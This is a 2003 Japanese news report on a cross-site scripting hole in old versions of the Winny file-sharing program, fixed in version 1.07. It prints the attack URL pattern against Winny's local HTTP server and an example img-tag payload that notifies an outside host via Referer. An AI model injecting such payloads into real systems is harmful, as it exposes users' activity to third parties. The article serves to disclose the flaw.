ファイル共有ソフト「Winny」の旧バージョンにセキュリティホール
～最新版「1.07」で解決

■URL
http://memo.st.ryukoku.ac.jp/archive/200302.month/5410.html

　ファイル共有ソフト「Winny」の旧バージョンに、任意のHTMLがイントラネットゾーンのセキュリティレベルで実行される危険性があったことがわかった。現在、Winny上で公開されている最新バージョン「1.07」では、このセキュリティホールは解決されている。

　このクロスサイトスクリプティング脆弱性を指摘したのは、高木浩光氏。セキュリティ情報サイト「セキュリティホールmemo」のメーリングリスト上で発表された。

　Winnyには、ファイル共有機能のほかに、掲示板機能が備わっており、HTTPサーバー機能を実装している。Winny上で、悪意のあるユーザーが次のようなリンクを書き込み、一般ユーザーがそれを実行してしまうと、“悪意あるHTML”がイントラネットゾーンのセキュリティレベルで実行されるという。

http://localhost:7744/<%2Ftitle>悪意あるHTMLをURLエンコードした文字列/

　例えば、この文字列を「<img src="http://example.com/ILoveNY">」などとすることによって、任意のURL(ここでは、example.com)に対して、ユーザーがWinnyを使っていることをReferer付きで通知させることも可能だったという。

　「Winny」は、新バージョンが登場すると、画面上に新バージョンへのアップデートを促す通知が自動的に出現するように設計されている。なお現在、作者の意向により、バージョン1.06.06以降の新しいファイルはWinny上で流通する仕様になっている。最新版1.07をダウンロードするためには、ハッシュ「6152f2fb4eb67dd2a6f7d49577321873」を指定する必要がある。公式サイトは閉鎖されたままだが、サポートサイトから情報を入手可能だ。

◎関連記事
■２ちゃんねる発のファイル共有ソフト「Winny」公式サイトが閉鎖

(2003/2/10)

[Reported by okada-d@impress.co.jp]